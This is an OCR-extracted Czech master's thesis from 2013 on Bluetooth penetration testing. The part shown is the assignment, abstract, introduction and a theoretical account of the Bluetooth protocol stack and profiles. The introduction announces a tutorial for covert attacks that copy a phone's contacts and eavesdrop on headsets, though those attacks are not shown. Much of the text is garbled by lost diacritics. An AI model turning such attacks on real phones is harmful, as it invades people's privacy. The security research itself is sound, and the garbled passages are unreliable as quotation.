Penetracni testy Bluetooth technologie

Penetration Testing of Bluetooth Technology

Bc. Jakub Nozic¢ka

Diplomova prace Univerzita Tomase Bati ve Zliné
2013 Fakulta aplikované informatiky




Univerzita Toméase Bati ve Zliné
Fakulta aplikované informatiky
akademicky rok: 2012/2013

ZADANI DIPLOMOVE PRACE

(PROJEKTU, UMELECKEHO DILA, UMELECKEHO VYKONU)

Jméno a pfijmeni: Bc. Jakub Nozicka

Osobni &islo: A11440

Studijni program:  N3902 InZenyrska informatika

Studijni obor: Poéitaéové a komunikacni systémy
Forma studia: prezenéni

Téma prace: Penetraéni testy bluetooth technologie

Zasady pro vypracovani:

. Popiste technologii Bluetooth, vznik, verze a vyuzivané standardy technologie.
. Specifikujte strukturu protokolu, na kterém technologie Bluetooth pracuje.

. Specifikujte mozné itoky a definujte prednosti ¢i nedostatky zabezpeceni
komunikace, samotné zpiisoby ttoki: bluejacking, bluesnarfing.

. Realizujte prakticky test napadeni a odposlech obéti.

. Navrhnéte bezpecnostni opatfeni a vylepseni na zakladé vysledki analyzy
zabezpeéeni komunikace.



Rozsah diplomové prace:

Rozsah pfiloh:

Forma zpracovani diplomové prace: tisténa/elektronicka

Seznam odborné literatury:

1:

GEHRMANN, Christian, Joakim PERSSON a Ben SMEETS. Bluetooth security.
Boston: Artech House, 2004, xii, 204 p. ISBN 15-805-3504-6.

. LABIOD, Houda, Hossam AFIFI a Constantino DE SANTIS. Wi-Fi, Bluetooth, ZigBee

and WiMAX. Dordrecht: Springer, 2007, xvi, 316 p. ISBN 978-1-4020-5396-2.

. GARG, Vijay Kumar. Wireless communications and networking. Boston: Elsevier

Morgan Kaufmann, 2007, xxvii, 821 p. ISBN 01-237-3580-7.

. CHAOUCHI, Hakima a Maryline LAURENT-MAKNAVICIUS. Wireless and Mobile

Networks Security: Security Basics, Security in On-the-shelf and Emerging
technologies. London, UK: ISTE, 2009, p. cm. ISBN 978-184-8211-179.

. STAJANO, Frank. Security for ubiquitous computing. West Sussex, England: John

Wiley & Sons, 2002, xix, 247 p. ISBN 04-708-4493-0.

. GOLMIE, Nada. Coexistence in Wireless Networks: Challenges and System - Level

Solutions in the Unlicensed Bands. New York: Cambridge University Press, 2006,
xvii, 144 p. ISBN 05-218-5768-6.

. PUZMANOVA, Rita. Bezpeénost bezdratové komunikace: jak zabezpecit Wi-Fi,

Bluetooth, GPRS ¢i 3G. Vyd. 1. Brno: CP Books, 2005, 179 s. ISBN 80-251-0791-4.

Vedouci diplomové prace: Ing. David Malanik, Ph.D.

Ustav informatiky a umélé inteligence

Datum zadani diplomové prace: 26. tnora 2013

Termin odevzdani diplomové prace:  31. kvétna 2013

Ve Zliné dne 26. Gnora 2013

(5

prof. Ing. Vladimir Vasek, CSc. prof. Ing. Karel Vi¢ek, CSc.

dékan Teditel vistavu



UTB ve Zling, Fakulta aplikované informatiky, 2013 4

ABSTRAKT

Diplomova prace se zabyva technologii BluetoothteMetickécasti je popsana
teorie, jak tato bezdratova technologie fungujaispp zabezg®eni a ostatni aspekty na
kterych tato technologie funguje. Praktickast prace se zabyva praktickou konstrukci
vylepSeného USB Bluetooth adaptéru, kterou se zwy8sah pro komunikaci
prostednictvim této technologie, aniz by byla pouzitaajitida zdizeni. Déle jsou
realizovany praktické utoky na tuto technologii etkovym srovnanim 0ggnosti
v zavislosti na pouzitych Haenich. Praktickatast je tedy navod pro dpravu USB

Bluetooth adaptéru a realizaci Gtok

Kli¢ova slova: Bluetooth, USB Bluetooth adaptér, béapst, utok.

ABSTRACT

The master thesis deals with Bluetooth technoldgythe theoretical part is
described theory, how this wireless technology wprkays for security and other aspects
of this technology. In the practical part is desed practical construction of improved
USB Bluetooth adapter, which increased range ofnsanication through this technology,
without change device class. In the practical Eadlso realized practical attacks on this
technology with comparison of used devices. Thetpra part of this thesis is tutorial for

improvement of USB Bluetooth adapter and executifosttacks.

Keywords: Bluetooth, USB adapter, security, attack.
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UvoD

Technologie Bluetooth je stale jednim z nejrta®jSich zpisobl pro bezdratovou
komunikaci dvou zéazeni na kratkou vzdalenost. | kdyby se mohlo zéétje Bluetooth
technologie zastarala a pomalu vytlgdna technologii Wi-Fi Direct, tak opak je pravdou
Technologie ma stale pevnou pozici pro komunika@zimmobilnim telefonem a
headsetem, nebo handsfree sadou. Hlavni vyhodoutééhnologie je bezesporu nizkéa
cena, minimalni energetické naroky, miniaturni régmadaptéru a snadna hardwarova

konstrukce pro zdenéni do obvodu. Diplomova préace je ré#eha do dvoudasti.

V teoretickécasti je popsana technologie Bluetooth, iiildpd jeji vznik, divod
pro¢ vznikla, dale jsou popsany protokoly, na kteryacthnologie funguje, din¢
pouzivané profily pro komunikaci mezi izzenimi, vrstvy, postup ip parovani,
zabezpéeni a bezpmostni Urovl. Poznatky s teoretick&asti jsou rozvedeny do praxe

v praktickécasti.

V praktické ¢asti reSim upravu USB Bluetooth adaptéru, tak aby bylogok
komunikace na velikou vzdalenost. Standartni USBeRloth adaptér 2ritdly ma dosah
kolem 20 metk. Je vSak mozno jej velmi jednoduSe upravit a jdbeah zvysit na 75
metr. Uprava spdiva v odstradni integrované antény na USB Bluetooth adaptéra a n
jeji misto gipajet stikny kabel s RSMA konektorem, pokud je adaptér taitmven, tak
je na rj mozno ipojit libovolnou externi anténu, ktera pracujeasmu 2,4GHz, stefn
jako Wi-Fi technologie. Cenové néklady pro takovgravu bez koupexterni antény se
pohybuje wadech desitek korun a zvladne ji kdokoli se zkuSenos elektrotechnikou.
Dosah takto upraveného USB adaptéru potom zavigiondité externi anténv pripace
8dBi antény se dosah pohybuje kolem 75 theDale v praktické&asti realizuji gkolik
bezpé&nostnich Utok na Bluetooth technologii, jako detekcitizaeni, sparovani se
s mobilnim telefonem, odposlech headsetu sparoean&mobilnim telefonem,
zkopirovéani telefonniho seznamu a kalgedamobilniho telefonu, nebo zaslani kontaktu
nebo jinych dat, tyto vSechny atoky probihaji, abi je uzivatel na svém mobilnim
telefonu jakkoliv poznal. Cilem praktickéasti je vytvdeni navodu, podle kterého je
mozno upravit USB Bluetooth adaptér, tak abyl mySSi dosah pro komunikaci se
zarizenim, av8ak aniz by byla pouZita jif&dda z&izeni a vytvéeni podrobného navodu

pro utoky na Bluetooth technologii.
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|. TEORETICKA CAST
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1 TECHNOLOGIE BLUETOOTH

1.1 Co je to Bluetooth

Bluetooth je bezdratova komunikd technologie, jejimz cilem je pouziti pro
komunikaci sparovanych #iaeni na kratké vzdalenosti. Byla vyvinuta firmoucEson
v roce 1994 a v roce 1998 standardizovana instituEeEE jako standard IEEE 802.15.1.

Technologie Bluetooth byla vytvena k nahrazeni kaltelpiéi komunikaci mezi
pocitati a rmiznymi periferiemi jako tiskarny, skenery, polohovazatizeni, mobilni
telefony, atd. Hlavni myslenka Bluetooth technodogip@ivd v pouZiti integrovaného
obvodu pro Sirokou Skalu #iaeni s malou sptegbou energie, coz vSechno dohromady
zarituje velmi nizké ceny. Zakladni Bluetoothiizani poskytuji kratky dosah (radius
kolem 15m), ale nizkou cenu (kolem 5 USD z#izami).[1][2][3]

1.2 Parovani

Pfi pouziti anonymniho (neznamého)iizeni, se mize uzivatel p parovani
rozhodnout, zda zwejni svou hardwarovou adresu, nebo ne. Pokud cliveatal
dosahnout vyssiho soukromi, tak hardwarova adrestejguje pouze d@véryhodnym
zaizenim. Oivéryhodnymi za@izenimi jsou mySlena ta, kterd budouvétyhodna po
dlouhou dobu. Toto vSak neplati pro vSechny spdm@\watizeni, protoZze parovanitbe
byt i datasné a to po titou, nastavenou dobu.fiPparovacim procesu takéuxe byt
rozliSeno, kterému anonymnimuiizeni bude hardwarova adresa poskytnuta a které&nu n
Toto se provede nastavenimiizeni do parovaciho rezimu nebo do soukromého
parovaciho rezimu. V prvnim rezimu parovani nenrdWwarova adresa uvedena,
v soukromém rezimu pérovani naopak hardwarova adwe®dena je. To se liSi od
standardnich Bluetooth &aeni, které podporuji pouze dva rezimy parovaesparovat a

spéarovat.

Pokud pistroj podporuje anonymni rezim parovani, tdlipa zadosti o sparovani
pies ffikaz LMP (Link Manager Protoco)MP in rand ze vzdaleného taeni. Zdizeni
také LMP pikaz vydava ale jen v tomiipadct, Ze je k o¢feni vyZzadovan a neni znam

Zadny jiny kIt pro odpovidajici Zdzeni. Za@izeni nemusi vygiovat alias adresy, nebo
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soukromé adresy se vzdalenyntizanim. Zaéizeni musi odmitnout vSechny pozadavky na

vymeénu pevnych adres, dokud nebude zasilat své vlpstmié adresy. [1]

1.2.1 LMP prikazy

Pro informace offpojenych z&zenich, aktivnich adresach, v§fovani alias adres

a soukromych adres jsou pelba 3 typy LMP fikazi:
* LMP active address — aktualizace adres
* LMP alias address — vy#na alias adres

* LMP fixed address — vy#éma pevnych adres [1]

1.3 Organizace Bluetooth uzi v siti

Spojeni v siti Bluetooth je zaloZzeno na spolupraeizi master a slave aenim.
Skupina z#&izeni master a slave je definovanaiknu, kterd se nazyva ,piconet”. Bka
Piconet se sklada z jednoho mastdiizemi a jednoho, nebo vice nejvice slavidzeai,
maximalreé vSak 7 slave z&eni (technologie Bluetooth funguje nashaicové topologii).
Master zéizeni mize komunikovat fimo s jakymikoliv slave Zé&enimi. Slave Zdzeni
naopak nemohou komunikovatimo mezi sebou, nebo s ostatnimtizenimi. Master
zaizeni zodpovida za vytyeni spojeni a ovladani spojeni se slavigzeaimi. Master
zarizeni je schopneidit 7 slave z&zeni které jsou v aktivnim rezimu, mastefizeni je
schopnoridit az 255 slave z&eni v parked (,zaparkovaném®) rezimu. Slavéizaeni v
parked rezimu jsou synchronizovany hodinami z mag#€zeni, ale v piconet nemaji
fyzickou adresu. Master #iaeni ma moznost kdykolivipnastavit slave ¥&eni z parked

rezimu do aktivniho rezimu.iflad Bluetooth sit je znazorgn na obrazku 1. [2]
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Slave zéizeni mize mit rkolik zafizeni typu master. Vice piconet lnse niize
piekryvat a vytvéi tak ,scatternet” (viz obrislo 2). V piconet je zaloZena komunikace na
tom, Ze master upravuje frekvence a kanaly, zatimscatternet je kominukace zafwiti
pro snérovani dat mezi master aifgmosovymi uzly. Technologie scatternets neni
v Bluetooth doke vyvinuta, tato technologie se vice pouziva precsigcké snérovaci

postupy u jinych norem, jako je u ZigBee. [4]
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1.4 Protokol architektury v Bluetooth uzlu

Bluetooth protokol umaluje bezdratové propojeni ifzeni podporujicich
technologii Bluetooth, podporuje vymu dat a provashi interaktivnich a

interoperabilnich aplikaci. Architektura Bluetogilotokolu je zndzorna na obrazku 3.

[2]

ApplicationsiProfiles

H " L M F Fs
L h 4 k
AT Commands | oBex TEE“;P
h k4 Y
TCS sSDP RFCOMM Audio
L2CAP s
HCI
M
h
Link
Manager
M
h 4 W L
ACL SCO
BHaseband
fwith Link Controller)
Radio Physical Layer

Obrazek 3. Architektura Bluetooth protokolu

1.5 Fyzicka vrstva

Tato vrstva zodpovida zagnos a fjem informaci o fyzickém kanalu. Specifikace
této vrstvy definuje fyzikalni vlastnosti kandélu.luBtooth z#&zeni pracuji v ISM
(Industrial, Scientific Medical) pasmu vyhrazenémo primysl, Wdu a lékaéstvi. Toto
frekvertni pasmo pracuje na frekvenci 2,4 GHz. Zalém dosazZeni souladu gegpisy v
kazdé zemi, se ochranné pasmo pouziva u nizSibhH2 Sicky pasma) a vysSich okiaj
pasma (3,5 MHz Bty pasma). Toto pasmo je ra#eno do 79 fyzickych kanélpo 1 MHz.
RF (Radio Frequency) kanaly jsouameny podl€isla kanaluk a zandieny na kmitdet
f(k) = 2402 + k MHz, kde k = [0,78].
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Aby se zabranilo ruSeni, Bluetooth pouziva Frequétapping Spread Spectrum
(FHSS) metodu. Tato metoda pouziva frekvémpasmo 2,4 az 2,4835 GHz, pro 14 kanal
rozdélenych po 22 MHz a odtknych 5 MHz. Fyzicky kandél Piconetu je réieh na time
sloty o délce 625 ps. Kazdy time slot je rédled hop (skokovou) frekvenci) mezi 79
fyzickych kan&h. ProtoZe je perioda slotu 638, tak miZze dojit k 1.600 feskokim

(hops) za sekundu.

Bluetooth pouziva Gaussian frequency shift keyl@B§$K) modulaci. V tomto typu
modulace, je Gauss filtr aplikovan ged pouzitou Frequency shift keying (FSK)

modulaci.

Délka paketu je progmna. Paket rize byt rozdlen na jeden,it nebo @t po sok

jdoucich¢asovych Usek Frekvence je stanovena na dobu trvani paket{8][2]

. &
Time

2

2,400 GHz 2,4835GHz Frequency

Obrazek 4. Zobrazeni pouziti Frequency-hopping &pre
Spectrum (FHSS) metody
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Technologie Bluetooth pracuje v ISM (Industrialieéhtific Medical) na frekvenci
2,4 GHz. Ve ¥tSirg zemi je tomuto protokolu vyhrazen prostor 83,5Mpinto je mozno

do tohoto pasma westnat 79 kanals rozmezi 1MHz na kanal.

Existuji 3 ¥idy za&izeni:

Trida 1: Ur¢ena pro z&izeni s velkym dosahem, jako je Bluetooth AccesstRdosah
kolem 100 m), vykonové vlastnosti: 20 dBm (100 mW).

Trida 2: Urcena pro bBzné PC a fenosné zdzeni (dosah kolem 10 m), vykonové

vlastnosti: 4 dBm (2,5 mW).

Trida 3: Urcena pro nizkoenergetickéizzeni (dosah mé&mez 1 m), vykonové vlastnosti:
0 dBm (1 mW).

Tyto vykonové hodnoty jsou &freny @i vstupu antény. Pro spolehlivé odhaleni
zarizeni by ngl mit prijima¢ citlivost 70 dBm. Tabulka 1 uvadi frekwari omezeni v

raznych zemich sita.[4]

Zemé Frekvence (MHz)
Evropa a USA 2400 — 2483,5
Francie 2446,3 - 2483,5
Sparglsko 2445 - 2475

Tabulka 1. Frekvami omezeni

1.6 Baseband

Baseband je vrstva, ktera zdjife velké mnoZstvi postdppro genos dat pomoci
radiového koédovani a modulace. V baseband &rggou definovany hodiny, formaty
datovych paket master/slave role #aeni, fizeni stau connection/sleep, link control,
pienos zvuku a Forward Error Correction (FEC). Daskytuje tak&adu funkci, jako je

korekce chyb, skokovy vy, fizeni toku dat, zabezgeni a kontrolu vykonu.
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Time-division duplexing (TDD) schéma se pouziva jpir@ duplexni penos.
Master a slave Z¥&zeni v #m vysilaji stidaw. Master z&zeni musi vzdy zdnat grenos
na sudéntasovém useku. Slaveizzeni musi vzdy zdnat fenos na lichémiasovem
useku. Krons toho kandl pouzity pro master-to-slave paketkeé f@ouZit pro nasledujici
master-to-slave paket. Na obrazku 5 je zobrazdp f#anos single-slot a multi-slot

pakety.

Master

[ ] [ 3-siot packet | | 5-slot packet

RGN 1

[ | | 3-slot packet |
k kt1 k+2 k+3 k4 kt§ | kt6 k+7 | k+8 k+9 k+10 k11 k+12 k+13
Clock

>

fik)  fik) fik+2) fik+2) f{k+2) f{k+2) f{k+E) f(k+8) f{k+6) f{k+8) f{k+6) f(k+6) f{k+6) f(k+6)
Frequency

Obrazek 5. Renos pakét mezi master a slaveitzenim

Obecny format paketu v Bluetooth je znazorna obrazku 6.

20802 o e 54 o 02745 o,

ACCESS
CODE

HEADER PAYLOAD

o
Bit-rapetition encoding (rate 1/3) ™.

7 [ 10 .18
LT_ADDR TYPE FLOW ARON SEQN HEC

Obrazek 6. Obecny format paketu v Bluetooth

Kazdy paket z&na spoléné s gristupovym kédem. Pokud nasleduje header
(zahlavi), tak je fistupovy kod 72 bit dlouhy, v opaném gipad: je pistupovy kéd 68
bita dlouhy (zkracenyiistupovy kéd). Tentofiistupovy kdd je pouzit pro synchronizaci,
definici parametit kanalu a identifikaci paketu. VSechny pakety, pj@ac v jednom

fyzickém kanalu, maji stejnyistupovy kod.
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Packet Header

Packet Header se sklada ze 6 poli. Samotny pach#tdz18 bii, k fmu ne
potreba picist CRC a 1/3 velikosti FEC. To celé vytipaket o velikosti 54 hit Slozeni

Packet Header je nasleduijici:

+ 1 1 1 8 Bits

AM_ADDR TYPE FLOW AROQN SEQN HEC

Obrazek 7. Header packet

AMADDR (Active Member Address)

Adresa aktivniho Bluetooth #aeni v piconet. Toto pole je 3bity dlouhé, obsahuj
seznam slave adres, které se pouzivaji pro veSkenownikaci s master #Haenim.
Pouziva se, dokud je iZaeni aktivni, to znamena do doby, kdyizani fgejde do parked

stavu. Adresa 000 je jeden broadcast.

Type
Definuje 16 moznych tyjp paketi. Také je pouzit pro dekdédovani informaci v

raiznych situacich, jako SCO, ACL nebo ESCO spojenkul je paket na &kolika

slotech, tak tim ostatnim v této dabakazuje poslouchat.

Flow

Flow bit je pouZit praizeni toku ACL pakét Pomaha sdit master z&zeni, Ze je

jeho pandt’ pIna, toto je popséano v tabulce 2.

Code type Typ paketu
0000 NULL
0001 POLL
0010 FHS
0011 DM1
0100 DH4
0101 HV1
0110 HV2
0111 HV3

Tabulka 2. Flow bit
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Flow = 0 znamen4, Ze je plna vyrovnavaci pamSTOP bit. Ve vysSich L2CAP
vrstvach je dalSi flow pole. Jedna se o logickéjesgoa je pro kazdé logické spojeni
vytvoreno tak, aby mohlo zastavitgmos ve spojeni, zatimco ostatni logické spojené st

jes€ komunikuiji.

ARQN

informuje zdroj, zda je CRC zpravéijpta sprava. Cislo 1 ve zpré¥ znai spravné

prijeti paketu, 0 ve zpré&wznai nespravnéfifjeti paketu.

SEQN

Je to bit pro jednoduch&slovani paket modulo 2. Proto je mozné zjistit rozdil

mezi sudou a lichou zpravou, a tim odhalit opakéyaebo ztracené zpravy.

Header Error Check.

Toto 8 bitové pole detekuje chyby v zahlavi a opraye. [2][4]

1.7 Link controller

Link Controller je obsazen v Baseband, definujk,jgapiconet vytvieen a jak do &

muze byt gidano, nebo odstr&no zd&izeni.

Defaultre je zd&izeni v STANDBY stavu, protoZe tento staviSehergii. Pokud chce
zarizeni najit dalsi nové Eaeni, znéni swij stav na INQUIRY, v tomto stavu vysila
Discovery message péanych skokovych frekvencich. #aeni ve stavu INQUIRY SCAN
mohou odpovidat na discovery messagdizéai, které je ve stavu INQUIRY ziskava

adresy a clock offset odpovidajicichizani.

Pokud master z&eni potebuje navazat spojeni, vstoupi do stavu PAGE pro
synchronizaci se slave iZzenim. ProtoZe nejsou hodiny mastekizani automaticky
synchronizovany s hodinami slavefizani, tak master zi@eni nendize rozhodnout, kdy

slave zé&ézeni odpovi a na kterém kmita. Proto master ¥&eni vysila sadu stejnych
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zprav naiiznych frekvencich acekava odpo¥d’ od slave zézeni mezi déma genosy.
Zatizeni slave ve stavu PAGE SCAN posloucha frekvdatinovanou skokovou sekvenci

podle adresy z&zeni BD_ADDR a odpovida na Zzadosti mastéizzani.

Jakmile mezi sebou #Haeni navazou spojeni, tak tatofizeni vstoupi do stavu
CONNECTION a nize z&it vyména dat mezi zZézenimi. Spojené slave iZzeni nize
vstoupit do mnoha dalSich sub-stave kterych je vice, nebo m€&aktivni. Kdyz slave
zarizeni nepdebuje komunikovat, ale chcdistat synchronizovano na fyzickém kanalu,
piejde do stavu nerfis aktivniho stavu PARK. Aktivni adresa LT _ADDRage zd&izeni
se stava neplatnou arzeni ziska d¥adresy: PM_ADDR a AR_ADDR. Slaveizzeni se
stava ,zaparkovanym“. Nakonec, kdyz uzsproj neni aktivni, tak sef@pne do usporného

rezimu. [2]

1.8 Adresovani z&izeni Bluetooth.

V Basebandu je také obsazeno adresovaiizerd. Pro identifikaci Bluetooth
zarizeni pouzivame 4 adresy: BD_ADDR, LT_ADDR PM_ADRRR_ADDR.

BD_ADDR

Zkratka pro ,Bluetooth Device Address”. Je to jegtima 48 bitova adresaifzeni,
podobré jako MAC (Medium Access Control) adresa, kter&gédému zézeni gidélena
Ufradem IEEE Registration Authority.

LT _ADDR

Zkratka pro “Logical Transport Address”. Je to ¥oba adresaifélend kazdému
aktivnimu slave zazeni v piconet. Adresufigéluje master zédzeni aktivnimu slave

zarizeni. VSechny prazdné LT_ADDR jsou vyhrazeny prsilani zprav.
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PM_ADDR

Zkratka pro ,Parked Member Address”. 8 bitova adrekterd je rezervovana
zarizenim v parked rezimu. Kdyz se dostane slavizeai z pasivniho do aktivniho modu,
tak mu musi byt fidélena LT_ADDR a ztraci PM_ADDR.

AR_ADDR

Zkratka pro “Access Request Address”’. Adresa AR_ADIg pifazena slave
zarizeni, jakmile vstoupi do stavu PARK a je platnazmpo dobu, kdy je slaveitzeni je
.Zaparkovano“. Z#zeni v tomto stavu je schopndijppmat zpravy s zadosti ofrigtup,
adresa neni jedigea, ©zné ,zaparkované“ slave iaeni mohou mit stejnou
AR_ADDR.[2]

1.9 Logické pienosy

Mezi master a slave Haenim mize byt vytvdeno rekolik druhi spojeni (link), ale

nejpouzivagyjsi jsou:

- Synchronous connection oriented (SCO)
- Extended SCO (ESCO)

- Asynchronous connection oriented (ACL)

SCO (Synchronous connection oriented)

Synchronni spojeni SCO je pouZito pro hlasovou kakaci v obvodu a pro
synchronni a symetrické sluzby. Tento logicky dgtoyp je vhodny pro komunikaci v
realnémcase, jako je hlasovid komunikace. SC@mbyt gepinané spojeni mezi master a
slave z#&izenim. Master z&eni udrzuje SCO spojeni pomoci vyhrazenychushot
pravidelnych intervalech. Pro zlepSeni spolehlivogsou pakety kontrolovany na
piitomnost chyb. Master daeni mize podporovat azitSCO linky v realnéntase. Slave
zarizeni mize podporovat a#itSCO linky od jednoho master izzeni, nebo dva SCO

linky, pochazejici odiiznych master Z&eni.
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eSCO (Enhanced synchronous connection-oriented)

eSCO je synchronni spojeni, které slouzi pfepmvu prioritnich synchronnich
uzivatelskych dat. Zaji%ije konstantni rychlost datovéhdéeposu pes rezervované sloty
fyzického kandlu. Spojeni eSCO je lepSi nez SCiesp v tom, Ze umaiije volnost pi
vybéru rychlosti genosu a je spolehlysi, protoZze p&et opakovanych ignos ve

vyhrazenyckasovych Usecich je omezeny.

ACL (Asynchronous Connection-Less)

Asynchronni spojeni ACL je pouZzito pro datovou konkaci, symetrické a
asymetrické asynchronni sluzby a pro objevovani océdni. Master zdzeni nuze
vymeénovat pakety s kterymkoliv slave ifzeni ve slotech, které nejsou vyhrazeny pro
synchronni logicky fenos. ACL poskytuje vysmu pakel mezi master zé&zenim a vSemi
aktivnimi slave z&zenimi v siti piconet. Mezi master a slavéizenim, existuje pouze
jeden ACL logicky penos. Pro zajishi integrity dat, mize byt pouZit packet

retransmission.[1][2][4]

1.10Link manager

Link Manager nastavuje, &kuje a konfiguruje spojeni. Objevi dalSitizaeni a
komunikuje s nimi pomoci Link Manager Protocol (LMRMP zprava nize mimo jiné
zZjistit, zda peer podporuje speciélni funkce, jgk@ijem rozalenych paket v n¢kolika
slotech, a podol#n Link manager je pouzit pro nastaveni a ovlad@ojeni mezi déma
zarizenimi, ktera jsou spojena podle ACkeposu. LMP slouzi k ovladani a vyjednavani
spojeni Bluetooth. Zpravy LMP jsou popsany Link Mgarem a zpracovavany pomoci

link controlleru v baseband.
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Obrazek 8. Bluetooth stavy

Aby mohl LMP plinit ulohu dodavatele sluzeb, musiuXivat Link Controlleru (LC)
prostednictvim cel&ady zprav. LMP protokol se sklada #ikazi odeslanych z jednoho
zarizeni na druhé. LMP zpravy jsou odesilany v ramCLApojeni. LMP zpravy se liSi od
dat ACL spojeni, jejich nazev kéinna ACL-C. Rozdil mezi ACL-C a ACL-U tpnaSejici
data) je detekovan LLID. Na obrazku 8 je zn&Zarpostup volani v Z&eni, které spusti

vSechny mozné LMP zpravy. Existujekolik stavi:
— Standby
— Page
— Inquiry
— Connection
— Park

Napriklad, spojeni mize byt navazano, kdyz je odeslana vyvolavaci zpeya
znama adresa slaveiizeni, nebo pokud je zjidvaci zprava nasledovana vyvolavaci

zpravou a adresa slaverizeni neni znama.
Link Manager podporuje také bezpestni postupy, jako je autentizace, parovani,
spravu link key (ki spojeni) a Sifrovani.ied kazdym spojenim je spéstbezpénostni

mechanismus. Autentizace a Sifrovani je zaloZensdikeném tajném K. Postup pi
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parovani je pouZzit pro generovani tohotocdliv gipadt, kdyz se dv zaizeni setkaji
poprvé. Parovani je zaloZzeno na PIN kédu. PIN jexttkla pro “Personal Identification
Number”. Iniciator poSle pozadavek responder. PojaudPIN kod spravny, je spojeni

akceptovano. [2][3][4]

1.11HCI vrstva

Vrstva HCI poskytuje standardnitikazové rozhrani (command interface) pro
Baseband controller a Link manager. HCI je zkratka ,Host Control Interface”. Tato
vrstva zajiguje spolupraci mezitznymi implementacemi vysSich vrstev a Bluetooth
ovlada&em. Jedna se o rozhrani mezi hostitelskym softwamefirmwarem Bluetooth

ovladae.
Existuji #i typy zprav HCI:
- Command messages - pouzivany vyssimi vrstvamiipeni ovladée Bluetooth
- Event messages - oznameni pro vyssi vrstvy o terhylgikaz vykonan

- Data messages - pouzivany pro ¥ dat mezi nizSimi a vysSimi vrstvami [2]

| ApphicationsiProfilos |

I

TCPAR
PPP

ATCommands | OBEX

TCS 1 sne RFCOMM Audin |

L2CAP

¢ :  Bluctooth Controlicr
| HCI Dilver |;; HE Firmware
i E ® 3 R
Link
kS Manager
i A
Plrvsical Bus Driver | Phsical Bus Fimrwarg ILI Basenand |i|
{UBD, PC Card) i (Usw. pe cargy (with Link Controller)
Physical Dus Fadio Physical Layer

Obrazek 9. HCI vrstva

1.12L.2CAP vrstva

L2CAP je zkratkou pro ,Logical Link Control and Aplation Protocol”. Poskytuje
vySSi urové protokolu multiplexing, paketové rodeéni a spojeni. Také konfiguruje a
ovlada Quality of Service (QoS). L2CAP vrstva pdsig logické kanaly, které jsou
zobrazovany do L2CAP logické vazby podporované Adgjical transport.
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Existuji #i typy L2CAP kanai:
- obousngrné signalizani kandly
- datové spojeni pro obougmy provoz

- jednosndrné multicast spojeni

Logical Link Control and Adaptation Protocol (L2CAPracuje na stejné uarovni jako
LMP, ale stéale vyuziva sy prostor pro vytvéeni spojeni. Protokol L2CAP funguje na
zadzenich, jako jsou mobilni telefony a PDAislo portu je stejné jako ngklad u
TCP/IP, UDP/IP protokolu, kde ozfxige ¢islo portu aplikace. Umaiije do PDU odesilat
aplikatni protokoly az do 64 KB a realizuje segmentaci pgt@vnou montaz pakét
Channel identifier (CID) umaitije identifikovat spojeni podobnym igobem, jako v
protokolu WIMAX. [2][4]

1.13Service Level Protocol

Vrstva obsahuje protokoly SDP, RFCOMM, TCS, AT @BEX.
SDP

SDP je zkratka pro ,Service Discovery Protocol“plikacim poskytuje prostdky
pro zjise€ni dostupnych sluzeb ve vzdalenychizeni a zji&ni jejich charakteristik (popis,
Sifrovani, atd.). SDP fize byt spu$h po tom, co je navazano spojeni. Tato sluzba slouz

jako prostedek pro vyminu informaci.

RCOMM

RCOMM je zkratka pro ,Radio Frequency CommunicaiocRFCOMM protokol
poskytuje emulovany RS-232 sériové portggpprotokol L2CAP. Protokol je zaloZen na
specifikaci RS-232, proto poskytuje stejny tyenqosu dat jako sériové port a podporuje az
60 emulovanych pait Komunikaci prosednictvim RFCOMM pouZziva Bluetooth

headset.
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TCS

TCS je zkratka pro , Telephony Control protocol Sfieation“. Umoziuje telefonni

sluzby a je zaloZen na SCO logical transport.

AT

AT je zkratka pro slovo ,Attention“. AT protokol sevuje saduifkazi pro tizeni
modent.

OBEX

OBEX je zkratka pro ,OBject EXchange“. Je to komkaini protokol, ktery
umoziuje vymenu binarnich objekt mezi zdizenimi. Pouziva se néklad pro vynénu
zaznani v adresfich nebo pro vygnu malych soubdr Tento protokol vychazi z IrDA
(,Infrared Data Association“) protokolu, ktery dedije standardy pro komunikacigs
infracervené s#tlo, proto je OBEX pizpasoben pro uUzkopasmové kandly, jako je
Bluetooth. OBEX je podobny protokolu HTTP a to jalkonceptu, tak i ve funkcich,

protoZe klienti vyuZivaji transportni protokol gpojeni k serveru. [2]

1.14 Profily Bluetooth

Profil definuje sadu protokal (SDP, RFCOMM) pdtbnych pro sestaveni a
spravnou komunikaci aplikaci. Technologie Bluetoottize pouzivat desitky profi ja

zde uvadim pouzeshteré, nejpouzivaisi profily:
Seznam profil Bluetooth:
GAP

Generic access profile (GAP), zdjige stabilni chovani spojovaci vrstvy. Popisuije,
jak se z#izeni dostane ze standby rezimu do connection starzarduje, Ze spojeni a
kanaly mohou byt realizovany mezi uzly (nodes). édbje, navazuje a zabezpge

spojeni.
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SDAP

Service discovery application profile (SDAP), temoofil definuje protokoly a

postupy pro vyhledavani sluzeb v ostatnictizamich, které podporuji SDP.

A2DP

Advanced Audio Distribution Profile (A2DP), proBk pouZziva se pragnos hudby.
Napiklad, mize byt pouzit pro fenaseni hudby z MPJghravaée do Bluetooth nahlavni

soupravy.

AVRCP

Audio/Video Remote Control Profile (AVRCP), tentoofil poskytuje rozhrani pro

dalkové ovladani TV nebo jiného vzdalenéhtizani.

BPP

Basic Printing Profile (BPP), profil umadje odesilat texty, e-maily, elektronické
vizitky, nebo jiné soubory do tiskarny. Profil nerdvisly na ovladé&ch tiskarny, ale na
ovlad&ich zd&izeni, ze kterych jsou soubory odesilany jako nmbbédlefony nebo digitalni

fotoaparaty.

CTP

Cordless Telephony Profile (CTP), tento profil uingg bezdratovou komunikaci
telefon pres Bluetooth. Mobilni telefony mohou byt pouZitkgabezdratové telefony

piipojené k pditaci nebo jako base station (zakladové stanice).

DUNP

Dial-Up Networking Profile (DUNP). Profil poskytujepristup k Internetu

prostednictvim Bluetooth. Bluetooth spojenigiace s mobilnim telefonem ummije
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pouziti mobilniho telefonu jako modemu. Tento dr¢é zaloZzen na SPP (Serial Port

Profile) a pouziva sadu ATrixazi.

FTP

File Transfer Profile (FTP) um@éije pristup k souborovému systému viizeni
pomoci Bluetooth. To zahrnuje podporu pro vypisne@zu soubdr v adres#, odesilani

nebo gijimani soubol a mazani soubdr FTP profil je zaloZen na profilu GOEP;

HFP

Hands Free Profile (HFP), tento profil je pouziwaRhlF sadach v automobilech pro
komunikaci mezi pevnou HF sadou a mobilnim telefon8CO je logicky fenos, ktery

pienasi zvukovy signal.

HSP

Headset Profile (HSP), profil je vhodny pro propojelF sady a mobilniho telefonu.
